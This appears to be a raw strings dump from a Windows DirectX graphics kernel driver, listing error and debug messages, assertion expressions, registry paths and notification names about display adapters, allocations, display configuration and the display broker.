WdDbgReportSecondaryData returned FALSE while building live dump. Out of memory allocating live dump data (size 0x%I64x) WdDbgReportComplete returned failed status while building live dump. Status = 0x%I64x Add Device Failed Start Device Failed DxgkAddDiagnosticInfoIntoReport failed to add all information while building live dump Out of memory allocating DxgAllocateDiagnosticInfoArgs Failed to acquire adapter core access on adapter 0x%I64x%08I64x, Status = 0x%I64x. Failed to enable/disable given targetID 0x%I64x as HMD on adapter 0x%I64x%08I64x, Status = 0x%I64x. Caller specified adapter (0x%I64x) is not a indirect display adapter, returning 0x%I64x. Invalid Render Adapter LUID (0x%I64x, 0x%I64x) specified, returning 0x%I64x Caller specified adapter 0x%I64x is not a capable adapter, returning 0x%I64x Failed to allocate DXGADAPTER_REFERENCE array. RenderAdapterRef DxgkpGetPairingAdapters keeps returning same disabled adapter 0x%I64x for display adapter 0x%I64x, returning 0x%I64x. Failed to create CDD DXGDEVICE for adapter 0x%I64x in process 0x%I64x (Status = 0x%I64x). pMonitorHashArray cannot be null if caller reports non-zero size Failed (0x%I64x) to get display config buffer sizes DxgkGetPathsModality failed (0x%I64x) Out of memory allocating D3DKMT_GETPROCESSLIST_PER_PROCESS, returning 0x%I64x Exception encountered validating input, returning 0x%I64x Invalid DesiredAccess:0x%I64x specified, returning 0x%I64x Invalid Adapter (0x%I64x-0x%I64x) specified, returning 0x%I64x Adapter (0x%I64x-0x%I64x) is not active, returning 0x%I64x Exception encountered writing data to D3DKMT_GETPROCESSLIST, returning 0x%I64x Exception encountered copying user input, returning 0x%I64x Exception encountered copying user output, returning 0x%I64x m_Acquired == FALSE m_pAdapter == nullptr m_Acquired != FALSE m_pProcess != NULL \??\ m_pSection == NULL || m_ExistingSysMem pResource pResource->m_SharedResource IndividualAllocationSize > 0 !pCoreDeviceAccess->IsExclusiveOwner() m_OutstandingDeferredDestroys >= 0 VidPnSourceId < this->GetNumVidPnSources() ntStatus == STATUS_GRAPHICS_ALLOCATION_BUSY 1 == pResource->m_pSharedResource->m_AllocationCount || GetRenderAdapter()->GetPhysicalAdapterCount() > 1 && GetRenderAdapter()->IsDxgmms2() pAdapterAlloc->m_VidPnSourceId < this->GetNumVidPnSources() || GetProcess()->IsVmProcess() pCurrentAlloc->m_Pinned == FALSE pCurrentAlloc->m_DirectFlipIndex == 0 bDestroyResource !(pResource->m_SharedResource) pTracker->m_pResource pTracker->m_pResource->m_SharedResource Device 0x%I64x: Attempting to create shared displayable resource without expected flags, returning 0x%I64x Device 0x%I64x: Out of memory allocating DXGSHAREDRESOURCEACCESS class, returning 0x%I64x Invalid private driver data size for NoKmdAccess Primary cannot be used with NoKmdAccess Flags2.Reserved is not zero Mismatch between Driver returned allocation size:0x%I64x and ExistingSysMem buffer size:0xI64x, returning 0x%I64x Device 0x%I64x: Driver tried to create non-cross adapter physically contiguous buffer, adapter 0x%I64x, returning 0x%I64x Device 0x%I64x: Driver tried to create capture buffer but didn't supply StopCapture, adapter 0x%I64x, returning 0x%I64x Device 0x%I64x: Driver tried to create overlay but didn't supply Overlay DDI, adapter 0x%I64x, returning 0x%I64x Device 0x%I64x: Driver did not return an allocation handle for 0x%I64x, returning 0x%I64x QueryVirtualMemory failed. Returning 0x%I64x ExistingSysMem with different page attributes not supported. Returning 0x%I64x ExistingSysMem pointer points to a MEM_ROTATE allocation, returning 0x%I64x pAllocation->m_pAllocation->m_hDriverAllocation != NULL || pKMTCreateAllocation->Flags.NoKmdAccess Driver asking for history buffer, but device history buffer creation is disabled, or adapter does not have precision data. Device=0x%I64x, PrecisionData=%I64X Failed to take a reference on hSection:0x%I64x, returning 0x%I64x Failed to query section attributes. Device=0x%I64x, Status=%I64X Overflow rounding allocation size 0x%I64x to next page boundary returning 0x%I64x Cannot allocate memory allocation for existing sys mem. KMD should set a non-zero initial priority for allocations. Failed to create VIDMM_CROSSADAPTER_ALLOC, returning 0x%I64x pVidMmMultiGlobalAlloc pVidMmMultiAlloc Failed to make shadow allocation resident. Status = 0x%I64x !(UserMode && OpenShared) Device 0x%I64x: Out of memory allocating scratch data pDisplayAdapter->IsDisplayAdapter() && pDisplayAdapter->GetDisplayCore()->IsCoreResourceSharedOwner() pDisplayAdapter->GetDisplayCore()->GetNumVidPnSources() == this->GetNumVidPnSources() Device 0x%I64x: ExistingSysMem pointer or Section Handle not specified, returning 0x%I64x Existing sysmem must be paged aligned and a multiple of page in size. pSysMem:0x%I64x, Size:0x%I64x Device 0x%I64x: Driver asked to create a shared resource, but resource 0x%p already exists, and is non-shared, returning 0x%I64x pCreateStandardAllocation->Flags.Primary == 0 0 != (pCreateAllocation->Flags.CreateShared) Failed to get host adapter process, returning 0x%I64x VmBusSendCreateAllocation failed: 0x%I64x NULL == pOutput->hGlobalSharedResource pOutput->hGlobalSharedResource VmBusSendMakeResident failed: 0x%I64x pAllocationObjectList->m_pOwningResource->m_pSharedResource->m_CrossAdapter !pAllocation->m_pAllocation->m_Invalidated GetRenderAdapter()->IsCoreResourceSharedOwner() Device 0x%p does not match resource 0x%p owner, returning 0x%I64x Invalid D3D Pixel format! Device 0x%I64x: Driver returned zero size for pAllocationPrivateDriverData and pResourcePrivateDriverData buffer, returning 0x%I64x Device 0x%I64x: Driver failed to generate pPrivateDriverData buffer, returning 0x%I64x Device 0x%I64x: Driver returned zero size for pAllocationPrivateDriverData and pResourcePrivateDriverData buffer, returning 0x%I64x Device 0x%I64x: Input ResourcePrivateDriverDataSize does not match the driver's ResourcePrivateDriverDataSize, returning 0x%I64x Device 0x%I64x: Input TotalPrivateDriverDataBufferSize does not match the driver's AllocationPrivateDriverDataSize, returning 0x%I64x Device 0x%I64x: Driver returned invalid pitch (0x%I64x) for the cross adapter allocation width (0x%I64x), returning 0x%I64x !pCreateStandardAllocation->Flags.OpenCrossAdapter || !pCreateStandardAllocation->Flags.Primary Device 0x%I64x: Driver did not create CPUVisible allocation for standard allocation type 0x%I64x, returning 0x%I64x CreateAlloc.hResource != NULL pResource != NULL Device 0x%I64x: Resource 0x%p does not belong to the provided adapter, returning 0x%I64x PrivateDriverData Size must be zero when Creating StandardAllocation, returning 0x%I64x StandardAllocation supports only 1 allocation, returning 0x%I64x StandardAllocation is only allowed with ExistingSysMem or ExistingSection, returning 0x%I64x Invalid Flags specified with StandardAllocation, returning 0x%I64x StandardAllocation Reserved Flags should not be set, returning 0x%I64x Invalid StandardAllocation Size:0x%I64x, Returning 0x%I64x NoKmdAccess cannot be used with StandardAllocation NoKmdAccess can be used only with testsigning Device 0x%I64x: Out of memory allocating destroy handle table with 0x%I64x elements, returning 0x%I64x Device 0x%I64x: Creating StandardAllocation only supported on WDDM2.0+, returning 0x%I64x pAllocList[Idx] != NULL pResource->m_pDevice == pDevice (pCurrentAlloc->m_pAllocation->m_Primary ? 1 : 0) + (pCurrentAlloc->m_pAllocation->m_CddPrimary ? 1 : 0) + (pCurrentAlloc->m_pAllocation->m_DirectFlip ? 1 : 0) <= 1 pCurrentAlloc != NULL pCurrentAlloc->m_pDevice == pDevice (pCddDevice == NULL) || (pCddDevice->GetRenderCore() == pDevice->GetRenderCore()) VidpnSourceInvolved != D3DDDI_ID_UNINITIALIZED PrimaryAllocation->m_pAllocation->m_Primary PrimaryAllocation->m_pAllocation->m_VidPnSourceId == VidpnSourceInvolved SetVidPnSourceVisibility(0x%I64x) failed with status 0x%I64x Device 0x%I64x: Exception writing return data, returning 0x%I64x Invalid vidPnSourceMask. Returning 0x%I64x Invalid plane index 0x%I64x specified for VidPnSource 0x%I64x. Source mask is 0x%I64x. Returning 0x%I64x Attempting IFlip on %xI64x sources for a non-WDDM 2.4 driver. Source mask is %xI64x. Returning 0x%I64x Caller passed NULL for both the NT object and the global shared handle. Returning 0x%I64x pDestructionBuffer is NULL! !m_NtSecuritySharing NULL == m_hHostGlobalHandle NumDriverHandles == i 0x%I64x Invalid hAllocation=0x%I64x specified DXGPROCESS=0x%I64x 0x%I64x DXGALLOCATION 0x%p does not have a VidMm handle Context device 0x%p does not match user provided device 0x%p, returning 0x%I64x Monitored fence device 0x%p does not match user provided device 0x%p, returning 0x%I64x Invalid resource hande (0x%I64x) specified, returning 0x%I64x Shared resource is expected, returning 0x%I64x Exception encountered writing return data, returning 0x%I64x 0x%I64x encountered exception accessing allocation list Device 0x%I64x: Query resource info is called for a resource, which is created on a different adapter. Returning 0x%I64x Device 0x%I64x: Caller specified incorrect number of allocations, should have been 0x%I64x but was 0x%I64x, returning 0x%I64x Device 0x%I64x: PrivateRuntimeData has been marked as invalid, returning 0x%I64x KMCreateAlloc.hResource != 0 !pSharedResource->m_NtSecuritySharing || pSharedAllocObject vidPnSourceMask != 0 NewReferenceCount >= 0 m_ShareMutex.IsOwner() TakeRecursive || !m_pMutex->IsOwner() Mismatch between allocation device 0x%p and paging queue device 0x%p DpiGetDxgAdapterFromChild failed in DxgkCaptureSynchronize, returning 0x%I64x DpiGetDxgAdapterFromChild failed in DxgkCaptureReleaseSynchronization, returning 0x%I64x 0x%I64x Invalid DXGCAPTURE_INTERFACE Mismatch 0x%I64x 0x%I64x version 0x%I64x 0x%I64x 0x%I64x DXGPROCESS::CreateDxgProcess() failed 0x%I64x 0x%I64x Paired Render adapter has been changed from 0x%I64x to 0x%I64x for current session (Status = 0x%I64x). NULL != pProcess 0x%I64x Invalid hContext=0x%I64x specified DXGPROCESS=0x%I64x 0x%I64x Invalid hHwQueue=0x%I64x specified DXGPROCESS=0x%I64x (ppDoDShadowSession != NULL) && (pDoDShadowSize != NULL) (OLD_MODE_CHANGE == Win32kCommand) || ((PRESERVE_ACTIVE_VIDPN | OLD_MODE_CHANGE) == Win32kCommand) Failed to expand kernel stack: 0x%I64x 0 != GdiSurfaceData.Pitch NULL != CreateStandardAlloc.hGlobalShare 0 != StagingSurfaceData.Pitch Status=0x%I64x EPROCESS=0x%I64x Invalid hAdapter (0x%I64x) specified 0x%I64x Lock failed 0x%I64x 0x%I64x 0x%I64x 0x%I64x 0x%I64x DxgkCddUnlock failed 0x%I64x 0x%I64x For GDI replication a resource should have only one allocation per physical adapter For GDI replication a resource must have one allocation per physical adapter Invalid context handle 0x%I64x 0x%I64x 0x%I64x 0x%I64x PresentFromCdd failed 0x%I64x 0x%I64x Failed to get bound render adapter from Adapter 0x%I64x in DxgkCddSetPalette (ntStatus = 0x%I64x). 0x%I64x DdiSetPalette() failed 0x%I64x 0x%I64x 0x%I64x PASSIVE_LEVEL == KeGetCurrentIrql() params->Adapter != NULL 0x%I64x fails as context physical adapter index is invalid 0x%I64x fails as context for the same physical adapter is specified 0x%I64x fails as to few contexts are in the device 0x%I64x RenderKm failed 0x%I64x 0x%I64x Failed to get bound render adapter from Adapter 0x%I64x in DxgkCddGetDriverCaps (ntStatus = 0x%I64x). Failed to allocation allocation array Allocation index exceeds number of allocations in the array Failed to allocated CDD_WNF_CALLBACK_CONTEXT. CddPdev: 0x%I64x Adapter 0x%I64x is not a display adapter, returning 0x%I64x. Adapter 0x%I64x does not have VidPn source 0x%I64x, returning 0x%I64x. CDD does NOT pass a valid adapter handle in DXGCDD_INTERFACE 0x%I64x. DXGGLOBAL::GetGlobal()->GetVirtualFrameBufferAccessLock()->IsOwner() PresentCddShadowBuffer: Out of memory - could not initialize context array lock exclusive PresentCddShadowBuffer: Failed to lock shadow buffer. PresentCddShadowBuffer: The locked data pointer is invalid. PresentCddShadowBuffer: PresentFromCdd failed. Status = 0x%I64x PresentFromCdd failed to present the newly created Cdd Primary (Status = 0x%I64x). CddBootImageMode CddBootScreenMode bRet Failed to allocate line buffer for DxgkpBlitA8R8R8G8, returning 0x%I64x! DxgkCddPresentOnScreen receives NULL pPresentOnScreen, returning 0x%I64x. Failed to get bound display adapter from Adapter 0x%I64x VidPn source ID 0x%I64x in DxgkCddPresentOnScreen (ntStatus = 0x%I64x). Cannot find the session view for VidPn source 0x%I64x on adapter 0x%I64x in session 0x%I64x, returning 0x%I64x. Caller specified shadow surface size dose not match the virtual mode size in session view, returning 0x%I64x. Failed to allocate buffer for destination rectangle list for 0x%I64x RECTs, returning 0x%I64x. Out of memory - could not initialize context array lock exclusive, returning 0x%I64x. Failed to lock CDD shadow allocation on Adapter 0x%I64x VidPn source 0x%I64x (hShadow = 0x%I64x) (Status = 0x%I64x). Failed to unlock the CDD shadow allocation on Adapter 0x%I64x VidPnSource 0x%I64x (Status = 0x%I64x). Display only adapter 0x%I64x does not support PresentOnScreen operation 0x%I64x, returning 0x%I64x. PresentDisplayOnlyCdd on Adapter 0x%I64x failed (Status = 0x%I64x). PresentFromCdd on DxgContext 0x%I64x failed (Status = 0x%I64x). AllocateHandle failed. Returning 0x%I64x PairedBind(0x%I64x = 0x%I64x, 0x%I64x, 0x%I64x) failed. Returning 0x%I64x Invalid process context. Returning 0x%I64x SendSyncMessage returns error from host. Returning 0x%I64x Failed SendDestroyBundleObject Returning 0x%I64x PairedBind is called without promote Returning 0x%I64x m_ReferenceCount > 0 m_bDestroyed m_pPatchLocationTable != NULL NULL == m_pCommandDmaBuffer DXGCONTEXT (0x%p) failed to allocate m_pDxgkrnlContextHandle The physical adapter requres GpuVaIoMmu but a non-virtual context is created Failed to create context on the host Context passes HwQueueSupported flag set, but the driver WDDM version is < 2.5 Context passes HwQueueSupported flag set, but GPU node doesn't support context scheduling Only virtual contexts can use HwQueueSupported flag Context is setting non-zero Reserved flags at the creation time. Context doesn't pass HwQueueSupported flag, but GPU node requires hardware scheduling DdiCreateContext() failed with status 0x%I64x Failed to allocate lookaside list for private driver data Failed to initialize lookaside list for private driver data 0x%x m_bUseGpuVa || m_ContextInfo.DmaBufferSize m_bUseGpuVa || m_ContextInfo.AllocationListSize m_bUseGpuVa || m_ContextInfo.PatchLocationListSize GetRenderCore()->GetAdapter()->IsCoreResourceSharedOwner() m_pCommandBuffer KeGetCurrentIrql() >= DISPATCH_LEVEL KeGetCurrentIrql() == DISPATCH_LEVEL Reserving GPU VA ranges is not supported with GpuVaIoMmuGlobal DxgkPowerRuntimeControlRequestCB is called when runtime power management is not enabled. pDxgAdapter->GetDriverCaps()->WDDMVersion >= DXGKDDI_WDDMv2_5 Failed to allocate PDOBase array Context == NULL WDDM2 driver calls WDDM1.x DDI! nullptr != pReleaseHandle Driver supplied invalid handle type (0x%I64x), cannot release reference m_pDisplayAdapter->IsCoreResourceSharedOwner() m_InDestructor == TRUE Failed to allocate m_pVidSchErrorCode Failed to create device on the host DXGPROCESS::SendWnfNotification failed during DXGDEVICE::Reset. DXGPROCESS::SendWnfNotification failed during DXGDEVICE::Stop. ppContext != NULL pContext != NULL TestDevice flag cannot be used, returning 0x%I64x Failed to get bound render adapter from hAdapter 0x%I64x (ntStatus = 0x%I64x). RenderAdapterRef && RenderAdapterRef->IsRenderAdapter() !DisplayAdapterRef || DisplayAdapterRef->IsDisplayAdapter() Device 0x%I64x is being destroyed but VidPnOwnershipCount = 0x%I64x PsGetProcessSessionId(pDevice->GetProcess()->GetEProcess()) == PsGetCurrentProcessSessionId() !pDevice->GetRenderCore()->IsCoreResourceSharedOwner() !pDisplayAdapter->GetDisplayCore()->IsCoreResourceSharedOwner() Device 0x%I64x: VidPnSourceCount (0x%I64x) is too large, returning 0x%I64x Device 0x%I64x: (0x%I64x) must have both Type (0x%I64x) and VidPnSourceId (0x%I64x) array, returning 0x%I64x DxgkSetVidPnSourceOwner function is called on a render only device (0x%I64x), returning 0x%I64x. Invalid VidPnSourceId (0x%I64x at index 0x%I64x) is specified, returning 0x%I64x Failed DispMgr ownership check on VidPn source 0x%I64x pCddDevice->IsVsyncForced() == FALSE (pCddDevice == NULL) || ((pCddDevice->GetRenderCore() == pDevice->GetRenderCore()) && (pCddDevice->GetDisplayAdapter(VidPnSourceId[0]) == pDevice->GetDisplayAdapter(VidPnSourceId[0]))) Invalid VidPn source ownership! DisableDWMVirtualModeOnVidPnSource function cannot be called on a render only device (0x%I64x) Failed to reserve the memory for active topology. (RequiredPathsCount = %I64u) Failed to set active topology, Status = 0x%I64x) Failed to set physical mode/IHV clone, (Status = 0x%I64x) Failed to functionalize the new topology, (Status = 0x%I64x) Failed to apply the new topology, (Status = 0x%I64x) DisableDWMVirtualMode can only be used with a single VidPn source pAllocation->m_pAllocation->m_Primary GetDisplayAdapter(VidPnSourceId)->IsCoreResourceSharedOwner() DXGDEVICECLIENT_LEGACYUSER == GetClientType() !m_PrimaryAllocation[VidPnSourceId][Index]->m_pAllocation->m_Invalidated DXGDEVICECLIENT_USER == GetClientType() pDisplayAdapter->GetDisplayCore()->GetNumVidPnSources() == pDevice->GetNumVidPnSources() NT_SUCCESS(FlushStatus) i < NumHwQueues NumHwQueues == i NumContexts == i Pinning non-DirectFlip resources can only be done on xbox Invalid hPagingQueue (0x%.8x) specified Paging queue must belong to the supplied device. hDevice=0x%.8x, hPagingQueue=0x%.8x Failed to allocate temporary buffer for %d handle, returning 0x%I64x NtDxgkPinResources: Exception writing back paging fence value, returning 0x%I64x ret = 0x%I64x Context 0x%I64x: DdiDescribeAllocation failed 0x%I64x 0x%I64x NULL != pCurrentAlloc->m_pOwningResource m_PrimaryDescription[VidPnSourceId].Pinned == FALSE m_PrimaryDescription[VidPnSourceId].DisplayModeSet == FALSE Fail to capture parameters, returing 0x%I64x at %I64x CheckMultiPlaneOverlaySupport multi plane overlay plane count (0x%I64x) is invalid, returing 0x%I64x at 0x%I64x Fail to capture parameters, returing 0x%I64x at 0x%I64x PagingQueue != NULL MapCpuVaForParavirtualization failed, returning 0x%I64x IsDeviceLockExclusiveOwner() || IgnoreDeviceLock() IsDeviceLockExclusiveOwner() || GetRenderAdapter()->IsStopResetLockExclusiveOwner() m_ExecutionState != DXGDEVICEEXECUTION_ACTIVE || GetRenderCore()->IsCoreResourceSharedOwner() pDevice->GetRenderAdapter()->GetDriverVersion() < KMT_DRIVERVERSION_WDDM_2_0 AllocRef.m_pAllocation != NULL m_pResourceList == pResource 0 == pAllocation->m_DirectFlipIndex m_DirectFlipAllocation[VidPnSourceId][PinIndex] == NULL m_DirectFlipAllocationArraySize[VidPnSourceId] >= m_DirectFlipAllocationCount[VidPnSourceId] 0 != m_DirectFlipAllocationCount[VidPnSourceId] FALSE == *ReachedEnd NULL != pAllocation *Iterator == pAllocation->m_DirectFlipIndex NULL != pAllocation->m_pOwningResource CheckMultiPlaneOverlaySupport2 multi plane overlay plane count (0x%I64x) is invalid, returing 0x%I64x at 0x%I64x ActualPlaneCount <= MaxPlanes ActualPostCompositionCount <= NumVidPnSources pExecutionState != NULL Unexpected device error! Unexpected device execution state! CheckSinglePlaneForMultiPlaneOverlaySupport plane count (0x%I64x) is invalid, returing 0x%I64x at 0x%I64x CheckSinglePlaneForMultiPlaneOverlaySupport post composition count (0x%I64x) is invalid, returing 0x%I64x at 0x%I64x CheckSinglePlaneForMultiPlaneOverlaySupport plane flag value (0x%I64x) is invalid, returing 0x%I64x at 0x%I64x CheckMultiPlaneOverlaySupport3 post composition count count (0x%I64x) is invalid, returing 0x%I64x at 0x%I64x GetNumVidPnSources() <= D3DKMDT_MAX_VIDPN_SOURCES Context 0x%I64x: CheckMultiplaneOverlaySupport3 failed to obtain display mode, VidPnSourceId 0x%I64x IsDeviceLockSharedOwner() m_PrimaryDescription[VidPnSourceId].PrimaryCount Reached maximum number of primary allocation, rejecting this request IsDeviceLockExclusiveOwner() !!NT_SUCCESS(Status) == IsClientHandleValid() \Sessions\%d Failed to build the session directory path (Status = 0x%I64x). Failed to connect the display broker ALPC port as current thread is being terminating, returning 0x%I64x. Failed to connect the display broker ALPC port (Status = 0x%I64x). Failed to allocate DispBrokerClientHandle for a new ALPC port. Caller did not specified the message to be sent to display broker. The message is smaller than AlpcMessage (size = 0x%I64x). The parameters of the receiving message are not consistent. DisplayBroker is disabled so failing type 0x%I64x Receiving message does not mean anything when senting async message. Timeout does not mean anything when senting async message. Timeout to send ALPC message to display broker in session 0x%I64x, returning 0x%I64x. Failed to send ALPC message to display broker in session 0x%I64x (Status = 0x%I64x). Failed to sample display state in session 0x%I64x, (Status = 0x%I64x). Display broker was just disabled during UpdateDisplayConfig in session 0x%I64x, override ntStatus from 0x%I64x to 0x%I64x. Called DxgkIddHandleSetDisplayConfig without session data in session 0x%I64x Adapter LUID from path 0x%I64x does not match the LUID from adapter 0x%I64x,returning 0x%I64x). Failed to check the monitor connection on path 0x%I64x, (Status = 0x%I64x). Target ID 0x%I64x from path 0x%I64x does not have connected monitor,returning 0x%I64x). Rotation mode (0x%I64x) from path 0x%I64x is not valid, returning 0x%I64x). VSync frequency divider (0x%I64x) from path 0x%I64x is not valid, returning 0x%I64x). Monitor scale factor (0x%I64x) from path 0x%I64x is not valid, returning 0x%I64x). Input buffer size (0x%I64x) was too small for DXGK_IDD_SET_DISPLAY_CONFIGURATION, returning 0x%I64x. IddSetDisplayConfig has too many paths (0x%I64x), returning 0x%I64x. Input buffer (size = 0x%I64x) was too small for 0x%I64x paths of DXGK_IDD_PATH_CONFIG, returning 0x%I64x. Output buffer size (0x%I64x) was too small for DXGK_IDD_SET_DISPLAY_CONFIGURATION_OUTPUT, returning 0x%I64x. Caller specified PathCount exceeds the number of VidPn sourrce on adapter (0x%I64x), returning 0x%I64x. Caller specified adapter (0x%I64x) is not a sessionized adapter, returning 0x%I64x. Failed to wait for all pending PnP transition to be done in session 0x%I64x (ntStatus = 0x%I64x). Failed to wait for all pending connection changes to be completed on adapter 0x%I64x with ntStatus 0x%I64x, returning 0x%I64x. Some but not all paths contained a mode in DXGK_IDD_SET_DISPLAY_CONFIGURATION on adapter 0x%I64x, returning 0x%I64x. Did not find primary path from DXGK_IDD_SET_DISPLAY_CONFIGURATION on adapter 0x%I64x, returning 0x%I64x. Failed to set monitor DPI override on target 0x%I64x on path 0x%I64x, (Status = 0x%I64x). Failed to set monitor size override on target 0x%I64x on path 0x%I64x, (Status = 0x%I64x). Failed to set monitor colorimetry override on target 0x%I64x on path 0x%I64x, (Status = 0x%I64x). !MonitorAndLinkCaps.HDR10 !MonitorAndDriverWCGCapable NT_SUCCESS(TempStatus) Failed to set monitor color mode on target 0x%I64x on path 0x%I64x, (Status = 0x%I64x). Failed to set monitor SDR white level override on target 0x%I64x on path 0x%I64x, (Status = 0x%I64x). Failed to set monitor mapping override on target 0x%I64x on path 0x%I64x, (Status = 0x%I64x). Failed to get CSRSS process from session 0x%I64x, (Status = 0x%I64x). Sending SetDisplayConfig ALPC message from display broker disabled session 0x%I64x, returning 0x%I64x. Cannot allocate buffer to hold the SetDisplayConfig ALPC message Failed to initialize display broker message, (Status = 0x%I64x). Failed to send Display broker message in session 0x%I64x, status 0x%I64x Failed to connect display broker in session 0x%I64x, (Status = 0x%I64x). Failed to re-send IDD display config request in session 0x%I64x, (Status = 0x%I64x). Failed to re-send cached async refresh orientation request for session 0x%I64x, (Status = 0x%I64x). Unable to obtain DXGGLOBAL, returning 0x%I64x. Unable to obtain DXGGLOBAL Diagnosibility buffer, returning 0x%I64x. Cannot allocate buffer to hold the SendDisplayDiagnostics ALPC message Cannot allocate buffer to hold the RequestDisplayRecovery ALPC message Cannot allocate buffer to hold the DisplayPrivateTest ALPC message (size = %d DxgkSendDisplayBrokerMessage failed to send the display private test request (status = 0x%I64x). PortHandle != nullptr GetDisplayAdapterDiagData() called with invalid index No memory available for DISPLAYSTATECHECKER GlobalSourceIndex should never exceed the TotalNumOfVidpnSource Invalid parameters not expected Unable to obtain DXGGLOBAL Diagnosibility object; pDiagnostics = 0x%I64x Out of memory allocating black screen live dump data (size 0x%I64x) pDisplayAdapter->IsCoreResourceSharedOwner() Out of memory allocating DMM Segment data (size 0x%I64x) No memory available for adding a new display source No memory available for adding a new display target CollectNonIntrusiveDriverData() failed with Status : 0x%I64x CollectIntrusiveDriverData() failed with Status : 0x%I64x m_DriverBlackboxInfo.pBuffer == NULL Out of memory allocating black screen driver blackbox buffer(size 0x%I64x) pDisplayAdapter != nullptr Out of memory allocating black screen non-intursive data (size 0x%I64x) Out of memory allocating black screen intrusive data (size 0x%I64x) There is no primary allocation for VidPnSource (0x%I64x) on Adapter with LUID (0x%I64x : 0x%I64x) Device access lock for rendering device (0x%I64x) couldn't acquired within reasonable time The rendering device (0x%I64x) has not been used for Present DdiDescribeAllocation() failed with status : 0x%I64x CheckPrimaryContentTile() failed with status : 0x%I64x 8999 8998 8996 8953 8952 8092 \Registry\Machine\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\PackageRepository\Packages 42EB8343-F0BF-4208-BCC6-52F5E308E81B 8wekyb3d8bbwe \Registry\Machine\Software\Microsoft\Shell\Docking UnsupportedLanguage EnabledForTest Scaling != D3DKMDT_VPPS_PREFERRED pCurrentPathModality->Flags & D3DKMT_PATHMODALITY_DESCRIPTOR_ADAPTER_VALID pCurrentPathModality->Flags & D3DKMT_PATHMODALITY_DESCRIPTOR_SOURCEID_VALID pCurrentPathModality->Flags & D3DKMT_PATHMODALITY_DESCRIPTOR_TARGETID_VALID pCurrentPathModality->Flags & D3DKMT_PATHMODALITY_DESCRIPTOR_TARGET_OUTPUT_TECH_VALID pCurrentPathModality->Flags & D3DKMT_PATHMODALITY_DESCRIPTOR_VIRTUAL_MODE_SUPPORT_VALID io_pContext && i_pAdapter && i_pDmmVidPn (io_pContext->NumModeArrayElements == 0) && (io_pContext->NumPathArrayElements == 0) (io_pContext->PathsArray == NULL) && (io_pContext->ModesArray == NULL) Unable to allocate %I64u dispconfig paths for conversion. Caller specified an invalid force projection monitor action %I64u. Caller specified an invalid force projection monitor type %I64u. (!NT_SUCCESS(ntStatus)) || (OldMonitorType != DMM_VMT_UNINITIALIZED) NT_SUCCESS(_ntStatus) hOldMonitor == NULL The new force porjection monitor type %I64u has lower priority than old one %I64u. Caller specified traget %I64u does not have any monitor connected. pAdapter->IsCoreResourceSharedOwner() PhysicalDeviceObject != NULL io_pOptionalEmergencyContext->m_NumEmergencyMonitors == 0 Cannot find the caller specified adapter in global adapter list! Failed to acquir the adapter core access lock on adapter 0x%I64x (Status = 0x%I64x)! Try to check portrait first target on a non-display adapter 0x%I64x! Fail to get VideoPresentTarget 0x%I64x from adapter 0x%I64x! ((i_Parameter & INVALIDATE_MONITOR_CONNECTIONS_EMERGENCY_ONLY) != 0) || ((i_Parameter & INVALIDATE_MONITOR_CONNECTIONS_PATH_PERSIST) != 0) Fail to find MonitorType on VidPn Target 0x%I64x adapter 0x%I64x Failed to acquire adapter core access on adapter 0x%I64x%08I64x, NtStatus = 0x%I64x. Unable to get copy of most recent topology. (NtStatus = 0x%I64x, i_AdapterLuid = 0x%I64x%08I64x, i_TargetId = 0x%I64x, i_MonitorEvent = 0x%I64x) pPath != NULL Failed (Status = 0x%I64x) GetMultiScreenDefaultShellTopology, defaulting to legacy behavior Unable to invalidate path-persistence invariance. (NtStatus = 0x%I64x, i_AdapterLuid = 0x%I64x%08I64x, i_IncomingTargetId = 0x%I64x, i_MonitorEvent = 0x%I64x) Unable to query monitor type - assumed DMM_VMT_UNINITIALIZED. (_NtStatus = 0x%I64x, i_AdapterLuid = 0x%I64x%08I64x, i_IncomingTargetId = 0x%I64x, i_MonitorEvent = 0x%I64x) Invalid laptop special case flags! Miracast monitor was not active in CCD database so adding as new monitor The persisted topology requires cross-adapter clone support however it does not support Virtual Mode. Therefore the new monitor will be added in extend mode. Unable to persist most recent topology. (NtStatus = 0x%I64x, i_AdapterLuid = 0x%I64x%08I64x, i_IncomingTargetId = 0x%I64x, i_MonitorEvent = 0x%I64x) Unable to create copy of io_pNewTopologySet - will keep current topology. (NtStatus = 0x%I64x, io_pNewTopologySet = 0x%I64x) Unable to persist current topology - default topology will be created later. (NtStatus = 0x%I64x, io_pNewTopologySet = 0x%I64x) (defaultTopology == MultiScreenDefaultShellTopology::Cloned) || (defaultTopology == MultiScreenDefaultShellTopology::Conjoined) || (defaultTopology == MultiScreenDefaultShellTopology::Disjoint) Unable to persist current topology - default topology will be created later. (NtStatus = 0x%I64x, &OriginalTopologySet = 0x%I64x) IncomingTargetSupportsVirtualTopologies Unable to allocate 0x%I64x paths for newly added monitor topology - will keep current topology. (NumPathsToReserve = 0x%I64u) NumPathsToReserve == 2 io_pNewTopologySet->GetPathDescriptor(0)->pDevMode == NULL io_pNewTopologySet->GetPathsCount() == 2 Unable to functionalize topology with newly added monitor - will keep current topology. (NtStatus = 0x%I64x, io_pNewTopologySet->GetPathsModality() = 0x%I64x) Unable to persist the newly created topology for newly added monitor - will keep current topology. (NtStatus = 0x%I64x, io_pNewTopologySet->GetPathsModality() = 0x%I64x) Unable to invalidate path-persistence/emergency-monitors invariance.(NtStatus = 0x%I64x, i_AdapterLuid = 0x%I64x%08I64x, i_IncomingTargetId = 0x%I64x, i_MonitorEvent = 0x%I64x) i_Parameter == (ULONG_PTR) 0 VidPnSourceId < i_pAdapter->GetDisplayCore()->GetNumVidPnSources() Failed to trigger WNF_DX_SDR_WHITE_LEVEL_CHANGED WNF, Status = 0x%I64x Failed to trigger WNF_DX_RENDER_ADAPTER_PAIRING_CHANGED WNF, Status = 0x%I64x Failed to trigger WNF_DX_EXTERNAL_BRIGHTNESS_POLICY_CHANGED WNF, Status = 0x%I64x Failed to trigger WNF_DX_HDR_BRIGHTNESS_POLICY_CHANGED, Status = 0x%I64x io_pRequestPacket != NULL Adapter 0x%I64x had no FDO i_bGetDeviceInfo (!i_bGetDeviceInfo)&& (io_pRequestPacket->type == DISPLAYCONFIG_DEVICE_INFO_SET_SUPPORT_VIRTUAL_RESOLUTION) DISPLAYCONFIG_DEVICE_INFO type not handled MonitorGetMonitorHandle() failed on adapter:0x%I64x%08I64x target:0x%I64x (Status = 0x%I64x). MonitorSetAdvancedColorParams() failed on adapter:0x%I64x%08I64x target:0x%I64x (Status = 0x%I64x). MonitorHandle != NULL 